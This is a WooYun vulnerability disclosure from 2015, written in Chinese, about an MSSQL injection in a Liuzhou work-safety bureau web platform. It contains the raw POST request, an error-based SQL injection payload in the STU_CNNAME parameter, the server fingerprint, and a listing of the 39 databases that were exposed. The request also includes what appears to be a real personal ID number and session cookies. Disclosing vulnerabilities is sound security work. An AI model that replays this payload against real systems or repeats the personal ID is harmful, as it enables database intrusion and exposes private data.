当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158280

漏洞标题:柳州市安监局某平台MSSQL注入涉及39个库

相关厂商:cncert国家互联网应急中心

漏洞作者: 无名人

提交时间:2015-12-05 05:04

修复时间:2016-01-21 18:22

公开时间:2016-01-21 18:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-05: 细节已通知厂商并且等待厂商处理中
2015-12-09: 厂商已经确认,细节仅向厂商公开
2015-12-19: 细节向核心白帽子及相关领域专家公开
2015-12-29: 细节向普通白帽子公开
2016-01-08: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

RT

详细说明:

漏洞地址:

POST /User_info/LZ_SELECT_ZJ.aspx HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 175
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/User_info/LZ_SELECT_ZJ.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=qrl21j55iomx222vuroxhoig; __cfduid=dbcfddd7f35537663bf7af44339cb4ff01449149337
__VIEWSTATE=%2FwEPDwUJLTE5OTY1MzE5D2QWAgIDD2QWAgIBDxYCHgRUZXh0BQnljZflroHluIJkZALTtXNtj9AMvPDY3pqREA1Il3Bc&STU_CNNAME=%E5%9C%A8%E5%9C%A8*&btn_OK=&STU_ID_CARD=230124198204255116


STU_CNNAME参数存在注入

---
Parameter: #1* ((custom) POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUJLTE5OTY1MzE5D2QWAgIDD2QWAgIBDxYCHgRUZXh0BQnljZf
lroHluIJkZALTtXNtj9AMvPDY3pqREA1Il3Bc&STU_CNNAME=%E5%9C%A8%E5%9C%A8' AND 5089=CO
NVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(107)+CHAR(112)+CHAR(113)+(SELECT (CAS
E WHEN (5089=5089) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(98
)+CHAR(118)+CHAR(113))) AND 'RNEh'='RNEh&btn_OK=&STU_ID_CARD=230124198204255116
---
[15:31:24] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008

漏洞证明:

数据库.png


available databases [39]:
[*] Data_BaiSe
[*] Data_BeiHai
[*] Data_CFG
[*] Data_ChongZuo
[*] Data_City
[*] Data_City2
[*] Data_GuiGang
[*] Data_GuiLin
[*] Data_HeChi
[*] Data_HeZhou
[*] Data_LaiBin
[*] Data_liuzhou
[*] Data_liuzhou_0918
[*] Data_Model
[*] Data_NanNing
[*] Data_Provincial
[*] Data_QinZhou
[*] Data_WuZhou
[*] Data_YuLin
[*] GxSafeProduTrainExam
[*] master
[*] model
[*] msdb
[*] tempdb
[*] Timber_Exam_Lz
[*] ZdxSPTESysMaster
[*] ZdxSPTETrain001
[*] ZdxSPTETrain002
[*] ZdxSPTETrain003
[*] ZdxSPTETrain004
[*] ZdxSPTETrain005
[*] ZdxSPTETrain006
[*] ZdxSPTETrain007
[*] ZdxSPTETrain008
[*] ZdxSPTETrain009
[*] ZdxSPTETrain010
[*] ZdxSPTETrain011
[*] ZdxSPTETrain012
[*] ZdxSPTETRainExam

修复方案:

过滤

版权声明:转载请注明来源 无名人@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-09 17:47

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给广西分中心,由其后续协调网站管理单位处置.

最新状态:

暂无